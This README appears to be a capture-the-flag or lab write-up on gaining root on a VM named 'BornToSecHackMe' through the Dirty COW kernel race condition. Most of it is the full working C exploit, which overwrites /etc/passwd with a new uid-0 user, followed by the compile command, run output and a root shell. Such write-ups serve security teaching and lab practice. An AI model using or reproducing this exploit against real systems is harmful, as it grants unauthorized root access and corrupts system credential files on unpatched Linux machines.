README.md

Dirty-cow race condition.

Let's check system informations...

  $> uname -a
  Linux BornToSecHackMe 3.2.0-91-generic-pae #129-Ubuntu SMP Wed Sep 9 11:27:47 UTC 2015 i686 athlon i386 GNU/Linux

We're running on Linux kernel version 3.2.0-91-generic-pae. There are multiple vulnerabilities targeting directly kernel versions so it could be useful.

Checking ExploitDB, we can find some exploits for our particular version like this one that we'll try...

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
  char *username;
  char *hash;
  int user_id;
  int group_id;
  char *info;
  char *home_dir;
  char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
    fclose(source);
    return -1;
  }

  while((ch = fgetc(source)) != EOF) {
    fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
    st.st_size + sizeof(long),
    PROT_READ,
    MAP_PRIVATE,
    f,
    0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
            pid,
            map + o,
            *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
      NULL,
      madviseThread,
      NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

This script is provided by the official vulnerability report.

Then all we have to do is to compile, execture with a password and wait for the race-condition to kick in.

  $> gcc -pthread dirty_cow.c -o dirty -lcrypt
  $> ./dirty 42
  /etc/passwd successfully backed up to /tmp/passwd.bak
  Please enter the new password: 42
  Complete line:
  firefart:fiDFcnMz5E5z6:0:0:pwned:/root:/bin/bash     

  mmap: b7fda000
  ptrace 0
  madvise 0
  Done! Check /etc/passwd to see if the new user was created.       
  You can log in with the username 'firefart' and the password '42'.

  DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
  $> su firefart 
  Password: 42
  # id
  uid=0(firefart) gid=0(root) groups=0(root)

Yet another way to become root!